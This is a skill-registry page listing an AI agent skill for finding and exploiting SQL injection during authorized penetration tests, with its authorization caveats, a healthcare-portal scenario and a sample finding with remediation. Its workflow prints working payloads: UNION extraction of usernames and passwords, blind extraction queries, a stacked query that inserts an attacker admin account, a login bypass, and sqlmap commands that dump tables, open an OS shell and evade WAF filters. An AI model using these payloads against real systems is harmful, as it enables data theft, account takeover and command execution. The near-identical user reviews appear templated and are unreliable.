exploiting-sql-injection-vulnerabilities▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.
| name | exploiting-sql-injection-vulnerabilities |
| description | 'Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification. ' |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | - SQL-injection - sqlmap - database-security - OWASP-A03 - injection-testing |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07 |
Exploiting SQL Injection Vulnerabilities
When to Use
- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test
- Validating that parameterized queries and input sanitization are properly implemented across all database interactions
- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data
- Verifying that WAF rules and input validation controls effectively block SQL injection payloads
- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications
Do not use against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.
Prerequisites
- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)
- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests
- sqlmap installed with current version for automated detection and exploitation
- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it
- Test accounts at various privilege levels to test injection in authenticated contexts
Workflow
Step 1: Injection Point Discovery
Identify parameters that interact with the database:
- Map all input vectors: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON/XML API payloads
- Error-based detection: Inject a single quote (
') into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized. - Boolean-based detection: Inject
' AND 1=1--(true condition) and' AND 1=2--(false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable. - Time-based detection: Inject
'; WAITFOR DELAY '0:0:5'--(MSSQL),' AND SLEEP(5)--(MySQL), or'; SELECT pg_sleep(5)--(PostgreSQL). A 5-second response delay confirms injection. - Out-of-band detection: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.
- Second-order injection: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).
Step 2: Database Fingerprinting
Determine the database engine and version to select appropriate exploitation techniques:
- Error-based fingerprinting: Each database produces distinctive error messages. MySQL includes "MySQL", MSSQL mentions "SQL Server", PostgreSQL references "PG", Oracle contains "ORA-".
- Function-based fingerprinting: Inject database-specific functions:
- MySQL:
' AND VERSION()--or' AND @@version-- - MSSQL:
' AND @@version--or' AND DB_NAME()-- - PostgreSQL:
' AND version()-- - Oracle:
' AND banner FROM v$version--
- MySQL:
- String concatenation differences: MySQL uses
CONCAT('a','b')or'a' 'b', MSSQL uses'a'+'b', PostgreSQL uses'a'||'b', Oracle uses'a'||'b' - Comment syntax: MySQL supports
#and--, MSSQL uses--, PostgreSQL uses--, Oracle uses--
Step 3: Manual Exploitation Techniques
Exploit confirmed injection points using technique-appropriate methods:
- UNION-based extraction: Determine the number of columns with
ORDER BYincrementing (' ORDER BY 1--,' ORDER BY 2--, etc. until an error occurs). Then construct UNION SELECT to extract data:' UNION SELECT NULL,username,password,NULL FROM users-- - Error-based extraction (MySQL): Use
EXTRACTVALUEorUPDATEXMLto force data into error messages:' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- - Blind boolean extraction: Extract data one character at a time by testing character values:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- - Time-based blind extraction: Same character-by-character approach using time delays:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)-- - Stacked queries (where supported): Execute additional SQL statements:
'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
Step 4: Automated Exploitation with sqlmap
Use sqlmap for efficient exploitation of confirmed injection points:
- Basic detection:
sqlmap -u "https://target.com/page?id=1" --batch --random-agentto detect injection and identify the database - Extract databases:
sqlmap -u "https://target.com/page?id=1" --dbsto list all databases - Extract tables:
sqlmap -u "https://target.com/page?id=1" -D <database> --tablesto list tables - Extract data:
sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5to extract table contents - POST parameters:
sqlmap -u "https://target.com/login" --data="username=test&password=test" -p usernameto test POST parameters - Cookie injection:
sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2to test cookie parameters (mark injectable parameter with *) - OS command execution (if DB user has sufficient privileges):
sqlmap -u "https://target.com/page?id=1" --os-shellto attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL) - Tamper scripts:
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,betweento bypass WAF filters
Step 5: Impact Demonstration and Reporting
Document the full impact of the SQL injection vulnerability:
- Data extraction evidence: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)
- Authentication bypass: Demonstrate login bypass with
admin' OR 1=1--and document the bypassed authentication mechanism - Privilege escalation: If the database user has DBA privileges, document what additional capabilities are available (file read/write, command execution)
- Lateral movement potential: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi
- Remediation: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version
Key Concepts
| Term | Definition |
|---|---|
| SQL Injection | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |
| Union-Based SQLi | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |
| Blind SQL Injection | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |
| Parameterized Query | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |
| Second-Order Injection | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |
| Stacked Queries | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |
| WAF Bypass | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |
Tools & Systems
- sqlmap: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems
- Burp Suite Professional: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types
- Havij: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available
- jSQL Injection: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read/write
Common Scenarios
Scenario: SQL Injection in Healthcare Patient Portal
Context: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.
Approach:
- Map all parameters in the patient portal; identify that the appointment detail page uses
/appointment?id=4521 - Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
- Use
ORDER BYto determine the query returns 7 columns - Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
- Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
- Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
- Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation
Pitfalls:
- Running sqlmap with default settings against a production database and causing excessive load or data corruption
- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema
- Not testing for second-order injection in stored procedures called by the application
- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters
Output Format
## Finding: SQL Injection in Appointment Detail Parameter
**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based
**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.
**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.
**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)
**Remediation**:
1. Replace string concatenation with parameterized queries:
VULNERABLE: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
SECURE: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth
How to use exploiting-sql-injection-vulnerabilities on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add exploiting-sql-injection-vulnerabilities
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches exploiting-sql-injection-vulnerabilities from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate exploiting-sql-injection-vulnerabilities. Access the skill through slash commands (e.g., /exploiting-sql-injection-vulnerabilities) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.6★★★★★73 reviews- ★★★★★Mei Malhotra· Dec 28, 2024
We added exploiting-sql-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★James Khan· Dec 20, 2024
We added exploiting-sql-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Evelyn Thompson· Dec 12, 2024
Useful defaults in exploiting-sql-injection-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Kofi Verma· Dec 8, 2024
Solid pick for teams standardizing on skills: exploiting-sql-injection-vulnerabilities is focused, and the summary matches what you get after install.
- ★★★★★Henry Bhatia· Nov 27, 2024
We added exploiting-sql-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Yuki Dixit· Nov 19, 2024
Solid pick for teams standardizing on skills: exploiting-sql-injection-vulnerabilities is focused, and the summary matches what you get after install.
- ★★★★★Camila Zhang· Nov 15, 2024
exploiting-sql-injection-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Mei Menon· Nov 11, 2024
Solid pick for teams standardizing on skills: exploiting-sql-injection-vulnerabilities is focused, and the summary matches what you get after install.
- ★★★★★Aisha Liu· Nov 3, 2024
exploiting-sql-injection-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Hassan Rao· Oct 22, 2024
Keeps context tight: exploiting-sql-injection-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
showing 1-10 of 73